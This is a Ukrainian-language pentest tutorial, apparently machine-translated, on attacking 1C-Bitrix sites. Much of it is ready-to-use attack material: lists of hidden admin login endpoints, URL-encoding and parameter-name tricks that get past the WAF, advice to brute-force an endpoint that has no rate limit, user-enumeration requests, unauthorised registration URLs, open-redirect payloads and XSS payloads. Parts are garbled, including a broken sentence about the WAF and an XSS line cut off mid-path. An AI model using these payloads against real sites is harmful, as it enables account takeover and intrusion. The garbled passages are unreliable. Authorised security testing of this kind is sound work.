Аудит Bitrix: фундамент, розвідка та початкові точки атаки (Частина 1)

01.12.2025 5 хвилин Автор: Cyber Witcher

Ця частина детально розкриває ключові етапи технічної розвідки Bitrix, пояснює фундаментальні принципи роботи системи та показує, як виявляти стартові точки потенційних атак. Матеріал допоможе зрозуміти логіку побудови інфраструктури, навчить визначати версію платформи, досліджувати многосайтовість, аналізувати конфігурацію WAF та знаходити ендпоінти, які найчастіше використовують атакувальні інструменти.

Основи бітриксології

1С-Бітрикс — одна із самих популярних (імовірно, вже і сама популярна) CMS в СНГ.

Існує кілька редакційних продуктів:

  • Старт

  • Стандарт

  • Малий бізнес

  • Бізнес

  • «1С-Бітрікс24»

  • Інтернет-магазин + CRM

В основі всіх редакцій лежить єдина кодова база зі стандартним набором функцій, яка в наслідку просто обробляє доповнювальними модулями та компонентами. Змінюється лише назва і з’являється новий функціонал — природно, за ваші гроші.

Якщо в редакції «Старт» знайдена вразливість, вона з ймовірністю буде працювати в високому ступені в «Бізнес». Це правило діє і для CRM, хоча там, за формою специфікації продукту, зазвичай потрібно наявність користувача (хотя з мінімальними правами) — за рідкими вийнятками.

Окремо варто згадати BitrixVM — переднабудовану віртуальну машину з автоматичною інсталяцією будь-якої редакції на вибір, яка має погляд на безпеку та стабільність системи. У деяких випадках це змінює тактику атаки на додаток, хоча в цілому принципи тестування не сильно відрізняються від саморозміщеної версії.

Вбудований WAF

У бітрикса є власний проактивний фільтр (WAF), який володіє досить хорошою фільтрацією і забезпечує захист від більшості відомих атак.

Весь вхід користувача проходить через безліч рекурсивних фільтрів, викликаних боротьбою з різними видами вразливостей (XSS, LFI, SQLi). В свою чергу, окрім банального матчінга, ще виробляють зворотне перетворення сутностей, нормалізацію, декодування і багато чого ще. Тут, потрібно віддати своє, модуль безпеки сильно затрудняє експлуатацію. А іноді, взагалі, ріже хороші вразливості на корню

Головний мінус (а для кого-то і плюс) в тому, що WAF не працює . Це відкриває можливості для обходу захисту, про що ми докладніше поговоримо далі.

Багатосайтовість

Один програмний комплекс може бути побудований для роботи з кількома доменами та піддоменами. Які найчастіше розміщуються в окремих каталогах:

/var/www/html/ = site

/var/www/html/subdomain/ = subdomain.site

І частина структури бітрикса в них просто лінкується симлінками:

У зв’язку з цим, іной раз, отримуємо обхід:

http://site/bitrix/admin/ - 403 
http://subdomain.site/bitrix/admin/ - 403 
http://site/subdomain/bitrix/admin/ - 200

Тепер розглянемо основні прийоми.

Визначення версії

На жаль, точного методу визначення та редакції 1С-Бітрикс снаружи не існує. Приходиться опираться на косвенные признаки. Як приклад:

  • Наявність/відсутність специфічних модулів та компонентів

  • Унікальні шляхи до файлів статики

  • Особливості поведення, характерні для визначеної кодової бази

  • Рік в ендпоінтах адміністративної панелі

2021 => '/bitrix/js/ui/vue/vue2/dev/src/bitrixvue.js',
2020 => '/bitrix/js/main/parambag/bundle.config.js',
2019 => '/bitrix/js/main/md5/bundle.config.js',
2018 => '/bitrix/js/main/gridtile/gridtile.min.js',
2017 => '/bitrix/js/main/recorder/encoder.js',
2018 => '/bitrix/js/main/pin/pin.js',
2019 => '/bitrix/js/main/usertype.js',
2018 => '/bitrix/js/main/core/core_webrtc.js',
2017 => '/bitrix/js/main/core/core_admin_interface.js',
2016 => '/bitrix/js/main/jquery/jquery-1.7.js',
2015 => '/bitrix/js/main/rating_like.js',
2016 => '/bitrix/js/main/utils.js'

Множинні ендпоїнти для авторизації

Побачте форму авторизації?  А вона є.

Існує безліч окремих сценаріїв, де перевіряється доступ. Зазвичай, за це відповідає скрипт prolog_admin_before.php. У будь-якому місці, де він буде підключений, ми отримаємо форму авторизації. З можливістю використовувати пару логіна та пароля в системі, які будуть оброблятися рухом.

Подумайте про те, що багато адміністраторів закривають правила доступу веб-сервера до /bitrix/admin/ :

Но не знають (забують), що у атакуючого повне місце для входу:

/bitrix/admin/
/%62%69%74%72%69%78/./%61%64%6d%69%6e/index.php
/bitrix/components/bitrix/desktop/admin_settings.php
/bitrix/components/bitrix/map.yandex.search/settings/settings.php
/bitrix/components/bitrix/player/player_playlist_edit.php
/bitrix/tools/autosave.php
/bitrix/tools/get_catalog_menu.php
/bitrix/tools/upload.php
/bitrix/tools/catalog_export/yandex_detail.php 
/bitrix/tools/sale/discount_reindex.php 
/bitrix/tools/sale/basket_discount_convert.php
/bitrix/tools/seo_page_parser.php
/bitrix/tools/seo_google.php
/bitrix/tools/seo_yandex_direct.php
/bitrix/tools/seo_yandex.php
/bitrix/tools/clock_selector.php
/bitrix/modules/forum/install/admin/forum_index.php
/bitrix/modules/subscribe/public/subscr_edit.php
/bitrix/admin/main_controller.php
/bitrix/admin/php_command_line.php
/bitrix/components/bitrix/map.yandex.view/settings/settings.php
/bitrix/components/bitrix/map.google.view/settings/settings.php
/bitrix/components/bitrix/map.google.search/settings/settings.php
/bitrix/services/mobileapp/jn.php
/randombullchitgo/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/

Причому на /bitrix/services/mobileapp/jn.phpнет рейтлімітов. Можна спокійно брутити.

До речі, в PHP точки, пробелі і [в іменах запитів автоматично переіменовуються в нижнє підчеркування. А “+” в пробел. Це дозволяє виконувати деякі фільтрації на рівні веб-сервера або WAF.

Наприклад, за допомогою конфігурації nginx закрили доступ до адмінки з Інтернету, але є фіча з Bitrix, де можна переписати шлях до якого ми звертаємося через параметр:

Якщо зробити ось так:

/randombullchitgo/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/randombullchitgo/?SEF`.`APPLICATION%20CUR+PAGE[URL=/bitrix/admin/

То отримаю ще ендпоінти для авторизації.

І, звичайно, процес пошуку адмінок можна автоматизувати:

dirsearch -u "https://TARGET.com/bitrix/" -e php -w ~/bitrix-wordlist.txt --full-url --include-extensions=php --force-extensions -r -R 3 --filter "Status: 200" --filter "Size: >0" --filter-regex "Зарегистрироваться"
dirsearch -u "https://TARGET.com/bitrix/" -e php -w ~/bitrix-wordlist.txt --full-url --include-extensions=php --force-extensions -r -R 3 --filter "Status: 200" --filter "Size: >0" --filter-regex "Регистрация"

Лайфхак через відрижку

Коли потрібно масово перевірити безліч URL-адрес в Бітрікс, а також вручну закодувати кожен в URL-encode лень, можна налаштувати Burp Suite на автоматичну строку підменю.

  1. Переходимо у вкладку Проксі → Параметри проксі

  2. Внизу знаходимо розділ Правила зіставлення та заміни

  3. Додаємо два нових правила:

Правило 1:

  • Збіг: бітрікс

  • Замінити: %62%69%74%72%69%78/.(не забываем слеш /. в конце!)

  • ✅ Регулярний вираз

Правило 2:

  • Матч: адміністратор

  • Замінити:%61%64%6d%69%6e

  • ✅ Регулярний вираз

Не забудьте про галочки напроти “Regex”.

Цікаві ендпоінти

Деякі кінцеві точки Бітрікс можуть розкрити внутрішню структуру сервера , шляхи до файлів, версії модулів та іншу технічну інформацію. Ось список таких ендпоінтів:

/bitrix/tools/composite_data.php
/bitrix/components/bitrix/main.numerator.edit.sequence/slider.php
/bitrix/services/main/ajax.php
/bitrix/services/mobileapp/jn.php
/bitrix/modules/main/admin/php_command_line.php
/?USER_FIELD_MANAGER=1
/bitrix/admin/restore_export.php 
/bitrix/admin/tools_index.php 
/bitrix/bitrix.php 
/bitrix/modules/main/ajax_tools.php 
/bitrix/php_interface/after_connect_d7.php 
/bitrix/themes/.default/.description.php /bitrix/components/bitrix/main.ui.selector/templates/.default/template.php 
/bitrix/components/bitrix/forum.user.profile.edit/templates/.default/interface.php
/bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.php
/bitrix/php_interface/dbquery_error.php
/bitrix/templates/.default/subscribe/subscr_form.php

Підробка контенту

Звичайна відображена подмена контенту, яку можна шукати тільки для того, щоб похвалити свою анімешну гифку на чужому сайті або додати +1 низьку багу у звіті по пентесту. Дальше це ніяк не розкрутити.

/bitrix/components/bitrix/mobileapp.list/ajax.php?items[1][TITLE]=TEXT+INJECTION!+PLEASE+CLICK+HERE!&items[1][DETAIL_LINK]=http://google.com
/bitrix/tools/imagepg.php?img=//ceblog.s3.amazonaws.com/wp-content/uploads/2016/04/22110359/youve-been-hacked.png
/bitrix/templates/learning/js/swfpg.php?img=//evil.host/evil.swf

Перерахування облікових записів

За замовчуванням ми не можемо де переглянути список логінів користувачів. Але використовуючи цей недочет, можна пройти по словнику і попробувати їх піддобрити. Так, за запитом дійсного логіна, у відповіді додаток буде містити рядок BITRIX_SM_UIDH=deleted:

GET /bitrix/tools/upload.php HTTP/1.1 
Host: bitrix 
User-Agent: Mozilla/5.0 
Cookie: BITRIX_SM_UIDL=admin; BITRIX_SM_UIDH=1;

У випадку, якщо це не спрацювало, майже у всіх версіях бітрикса можна в ту пору перебирати пользаків через форму зміни пароля.

/bitrix/admin/index.php#change_password

У випадку, якщо користувач існує, зміниться помилка.

Нелегітимна реєстрація

У панелі адміністратора бітрикс іноді можна зайти просто зареєструвавшись. У багатьох правда кнопка реєстрації все відсутня, але це не мешає нам викликати стандартні форми.

/auth/?register=yes
/crm/?register=yes
/auth/oauth2/?register=yes
/bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/public_files/en/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/en/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/en/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/en/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/en/board/my/index.php?register=yes
/bitrix/wizards/bitrix/demo/indexes/ru/cancel/?register=yes
/bitrix/wizards/bitrix/demo/indexes/en/cancel/?register=yes

Наявність форм, до речі, теж не обов’язково, достатньо розгадати капчу (якщо вона взагалі є) і відправити POST-запит на регу.

Після реєстрації (отримав дійсний сесійний ідентифікатор), можна побрутувати директорію /bitrix/

Відкрити перенаправлення

Точно сказати, чому redirect.php досі лишається в продукті, складно — логіка цього рішення незрозуміла. Та й сенсу детально розбиратися в мотивації розробників особливо немає.

/bitrix/redirect.php?goto=https://TARGET%252F:[email protected]/ 
/bitrix/rk.php?goto=https://TARGET%252F:[email protected]/ 
/bitrix/tools/track_mail_click.php?url=http://site%[email protected]/
/bitrix/redirect.php?goto=https://TARGET.com%252F:[email protected]/

Працює переважно на старих версіях бітриксів, але навіть у разі успіху, ймовірно, ви отримаєте попередження.

XSS-уразливості

Банальний XSS, можна атакувати автентифікованих користувачів.

/bitrix/components/bitrix/map.google.view/settings/settings.php?arParams[API_KEY]=123'-'%00'-alert(document.domain)-'

/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00'}};alert(document.domain);if(1){//

/waf-bypass.php?page=BYPASS%00")});alert(1);$(document).ready(function%20(){%2f%2f

/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};top[%27a%27%2B%27lert%27](document.domain);if(1){//

/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_r

Висновок

Перша частина аудиту Bitrix показує, наскільки багато корисної інформації можна отримати ще до переходу до складніших атак. Навіть без експлойтів і пошуку критичних уразливостей платформа відкриває чимало технічних деталей через поведінку власних компонентів, особливості багатосайтовості, слабкі параметри авторизації та різноманітні службові ендпоінти. Саме ці дрібні, але системні недоліки створюють основу для подальшої ескалації доступу.

Розвідка, аналіз WAF, визначення версії, пошук прихованих точок доступу та тестування XSS, SSRF і LFI формують фундамент практичного пентесту Bitrix. Якщо ці кроки виконані правильно, наступний етап — робота з критичними вразливостями та експлойтами — стає значно ефективнішим і точнішим.

Далі ми перейдемо до другої частини, де розглянемо тактики реального злому, RCE-вразливості, обхід захисту та методи повної компрометації системи.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.